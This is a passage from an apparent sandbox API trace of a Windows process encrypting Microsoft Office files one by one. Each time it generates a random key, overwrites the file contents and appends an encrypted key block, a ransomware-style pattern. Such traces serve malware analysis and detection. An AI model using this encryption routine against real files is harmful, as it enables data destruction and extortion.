(hObject=0x221c) returned 1 [0211.220] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.221] CloseHandle (hObject=0x221c) returned 1 [0211.222] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.223] CloseHandle (hObject=0x221c) returned 1 [0211.225] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.226] CloseHandle (hObject=0x221c) returned 1 [0211.226] WriteFile (in: hFile=0x221c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0211.227] CloseHandle (hObject=0x221c) returned 1 [0211.227] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0211.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ad0 | out: pbBuffer=0x30f6ad0) returned 1 [0211.228] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", dwFileAttributes=0x80) returned 1 [0211.228] ReadFile (in: hFile=0x221c, lpBuffer=0x30e2070, nNumberOfBytesToRead=0x2d08, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2070*, lpNumberOfBytesRead=0x2e1f9bc*=0x2d08, lpOverlapped=0x0) returned 1 [0211.229] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-11528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.230] WriteFile (in: hFile=0x221c, lpBuffer=0x30e4d80*, nNumberOfBytesToWrite=0x2d08, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4d80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2d08, lpOverlapped=0x0) returned 1 [0211.230] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2d08 [0211.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.230] WriteFile (in: hFile=0x221c, lpBuffer=0x30dfad8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.231] WriteFile (in: hFile=0x221c, lpBuffer=0x30f6ad0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ad0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.231] CloseHandle (hObject=0x221c) returned 1 [0211.236] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0211.236] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0211.237] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", dwFileAttributes=0x80) returned 1 [0211.237] ReadFile (in: hFile=0x221c, lpBuffer=0x34be010, nNumberOfBytesToRead=0x15956, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x15956, lpOverlapped=0x0) returned 1 [0211.239] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-88406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.239] WriteFile (in: hFile=0x221c, lpBuffer=0x34d3970*, nNumberOfBytesToWrite=0x15956, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34d3970*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15956, lpOverlapped=0x0) returned 1 [0211.240] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15956 [0211.240] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.240] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.240] WriteFile (in: hFile=0x221c, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.240] WriteFile (in: hFile=0x221c, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.240] CloseHandle (hObject=0x221c) returned 1 [0211.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0211.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0211.241] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", dwFileAttributes=0x80) returned 1 [0211.242] ReadFile (in: hFile=0x221c, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1135c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1135c, lpOverlapped=0x0) returned 1 [0211.244] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-70492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.244] WriteFile (in: hFile=0x221c, lpBuffer=0x34cf378*, nNumberOfBytesToWrite=0x1135c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34cf378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1135c, lpOverlapped=0x0) returned 1 [0211.244] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1135c [0211.244] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.244] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.244] WriteFile (in: hFile=0x221c, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.244] WriteFile (in: hFile=0x221c, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.245] CloseHandle (hObject=0x221c) returned 1 [0211.246] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfbe0 | out: pbBuffer=0x30dfbe0) returned 1 [0211.246] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0211.246] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", dwFileAttributes=0x80) returned 1 [0211.246] ReadFile (in: hFile=0x221c, lpBuffer=0x30e2070, nNumberOfBytesToRead=0x7072, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2070*, lpNumberOfBytesRead=0x2e1f9bc*=0x7072, lpOverlapped=0x0) returned 1 [0211.248] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-28786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.248] WriteFile (in: hFile=0x221c, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x7072, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7072, lpOverlapped=0x0) returned 1 [0211.248] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7072 [0211.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfbe0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.249] WriteFile (in: hFile=0x221c, lpBuffer=0x30dfbe0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfbe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.249] WriteFile (in: hFile=0x221c, lpBuffer=0x30f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.249] CloseHandle (hObject=0x221c) returned 1 [0211.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0211.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ac0 | out: pbBuffer=0x30f6ac0) returned 1 [0211.251] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", dwFileAttributes=0x80) returned 1 [0211.252] ReadFile (in: hFile=0x221c, lpBuffer=0x34be010, nNumberOfBytesToRead=0x152b4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x152b4, lpOverlapped=0x0) returned 1 [0211.253] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-86708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.253] WriteFile (in: hFile=0x221c, lpBuffer=0x34d32d0*, nNumberOfBytesToWrite=0x152b4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34d32d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x152b4, lpOverlapped=0x0) returned 1 [0211.254] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x152b4 [0211.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.254] WriteFile (in: hFile=0x221c, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.255] WriteFile (in: hFile=0x221c, lpBuffer=0x30f6ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ac0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.255] CloseHandle (hObject=0x221c) returned 1 [0211.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df9d0 | out: pbBuffer=0x30df9d0) returned 1 [0211.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0211.259] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt", dwFileAttributes=0x80) returned 1 [0211.260] ReadFile (in: hFile=0x221c, lpBuffer=0x30e2070, nNumberOfBytesToRead=0x223d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2070*, lpNumberOfBytesRead=0x2e1f9bc*=0x223d, lpOverlapped=0x0) returned 1 [0211.269] SetFilePointer (in: hFile=0x221c, lDistanceToMove=-8765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.269] WriteFile (in: hFile=0x221c, lpBuffer=0x30e42b8*, nNumberOfBytesToWrite=0x223d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e42b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x223d, lpOverlapped=0x0) returned 1 [0211.270] SetFilePointer (in: hFile=0x221c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x223d [0211.270] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.270] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.270] WriteFile (in: hFile=0x221c, lpBuffer=0x30df9d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df9d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.270] WriteFile (in: hFile=0x221c, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.271] CloseHandle (hObject=0x221c) returned 1 [0211.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0211.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0211.291] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0211.292] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0xc002, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0xc002, lpOverlapped=0x0) returned 1 [0211.310] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-49154, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.311] WriteFile (in: hFile=0x2220, lpBuffer=0x34ca020*, nNumberOfBytesToWrite=0xc002, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34ca020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc002, lpOverlapped=0x0) returned 1 [0211.311] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc002 [0211.311] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.311] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.311] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.312] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.312] CloseHandle (hObject=0x2220) returned 1 [0211.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0b58 | out: pbBuffer=0x30e0b58) returned 1 [0211.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0211.314] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0211.314] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0xbd39, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0xbd39, lpOverlapped=0x0) returned 1 [0211.341] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-48441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.341] WriteFile (in: hFile=0x2220, lpBuffer=0x34c9d58*, nNumberOfBytesToWrite=0xbd39, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34c9d58*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbd39, lpOverlapped=0x0) returned 1 [0211.341] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbd39 [0211.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.342] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0b58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0b58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.342] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.342] CloseHandle (hObject=0x2220) returned 1 [0211.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0211.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0211.344] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0211.346] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x67519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x67519, lpOverlapped=0x0) returned 1 [0211.407] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-423193, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.408] WriteFile (in: hFile=0x2220, lpBuffer=0x3718548*, nNumberOfBytesToWrite=0x67519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3718548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x67519, lpOverlapped=0x0) returned 1 [0211.414] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x67519 [0211.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.415] WriteFile (in: hFile=0x2220, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.415] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.415] CloseHandle (hObject=0x2220) returned 1 [0211.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0211.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69b0 | out: pbBuffer=0x30f69b0) returned 1 [0211.418] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0211.421] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x38343, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x38343, lpOverlapped=0x0) returned 1 [0211.438] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-230211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.439] WriteFile (in: hFile=0x2220, lpBuffer=0x36e9370*, nNumberOfBytesToWrite=0x38343, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36e9370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x38343, lpOverlapped=0x0) returned 1 [0211.440] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x38343 [0211.440] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.440] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.440] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.440] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.440] CloseHandle (hObject=0x2220) returned 1 [0211.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df4a8 | out: pbBuffer=0x30df4a8) returned 1 [0211.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0211.442] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0211.446] ReadFile (in: hFile=0x2220, lpBuffer=0x6f5020, nNumberOfBytesToRead=0x98fc4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f5020*, lpNumberOfBytesRead=0x2e1f9bc*=0x98fc4, lpOverlapped=0x0) returned 1 [0211.496] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-626628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.496] WriteFile (in: hFile=0x2220, lpBuffer=0x3d2f020*, 